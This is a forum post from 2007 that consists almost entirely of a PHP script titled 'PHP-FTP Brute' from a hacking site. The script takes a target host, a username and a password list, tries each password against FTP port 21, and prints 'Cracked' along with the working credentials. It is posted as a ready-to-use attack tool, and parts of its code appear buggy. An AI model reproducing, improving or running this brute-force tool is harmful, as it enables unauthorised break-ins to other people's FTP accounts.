Gonzalez Posted June 30, 2007 Report Posted June 30, 2007 <?PHPset_time_limit(0);################## PHP-FTP Brute ## Mad-Hatter ##Thehackers.info##################$user = $_POST['user'];$list = $_POST['list'];$self = $PHP_SELF;if (!isset($_POST['go_for_it'])){$serv = $_POST['serv'];echo "<center><form method='post' action='$self'></center>"; echo "<center>Host: <input type='text' name='serv'></center>"; echo "<center>User: <input type='text' name='user'></center>";echo "<center>List: <input type='text' name='list'></center>";echo "<center> <input type='submit' value='Attack' name='go_for_it'></center>";echo "<center></form></center>";exit;}else{$passl = fopen($list, "r");while(!feof($passl)){$pass[$x] = fgets($passl, filesize($passl));$x++;}fclose($passl);echo "<center>[b]<h2>FTP Password Cracker</h2>[/b][Mad-Hatter]";echo "<hr></center>";$max = count($pass);echo "trying ". $max ." Passwords";for($x=0; $x<$max; $x++){$host = ftp_connect($serv, 21);if(ftp_login($host, $user, $pass[$x])){echo "[b]Cracked[/b]";echo "[+] [b]User:[/b] ".$user."";echo "[+] [b]Pass:[/b] ".$pass[$x]."";echo "[+] [b]Host:[/b] ".$serv>"";echo"<Footer>[url='http://thehackers.info']The Hackers Info[/url]</Footer>";die();}else{echo "Attempt ".$pass[$x]." Failed";}}ftp_close($ftp);}echo"<Footer>[url='http://']The Hackers Info[/url]</Footer>";?> Quote